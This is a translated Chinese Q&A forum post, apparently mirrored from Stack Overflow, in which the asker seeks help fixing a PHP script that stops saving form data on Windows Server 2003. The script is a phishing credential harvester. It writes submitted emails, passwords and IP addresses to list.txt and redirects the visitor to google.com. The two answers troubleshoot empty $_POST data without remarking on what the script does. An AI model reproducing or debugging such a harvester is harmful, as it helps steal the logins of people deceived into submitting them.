PHP只会将部分数据写入.txt文件

时间:2012-04-24 19:06:32

标签: php windows-server-2003

我之前在linux机器上使用过这个脚本,我知道它可以工作,但是当我在新的Windows Server 2003服务器上使用它时,它不起作用。在过去,我通过将文件chmodding到777解决了这个问题,但你无法在Windows上执行此操作。

这是代码:

<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>

它为box1和box2数据输出一个空白,但它仍然将IP和日期记录到.txt文件中。建议好吗?

2 个答案:

答案 0 :(得分:0)

显然,变量$_POST['box1']$_POST['box2']未设置或设置为空字符串。然后将其保存到文件中。

PHP实际上对变量非常严格,它只会采用它们的值而不是那里的预期值,但实际上只是在那里。

监控请求并验证提交的数据,以便验证您是否使用了正确的变量。

答案 1 :(得分:0)

也许你的$ _POST是空的?

由于编码类型的问题,我已经看到了这一点 - 然后阅读file_get_contents是一个很好的解决方案。

$postData = file_get_contents('php://input');

如果探测器是$ _POST为空或其他不好的话,那就可以回答这个问题了。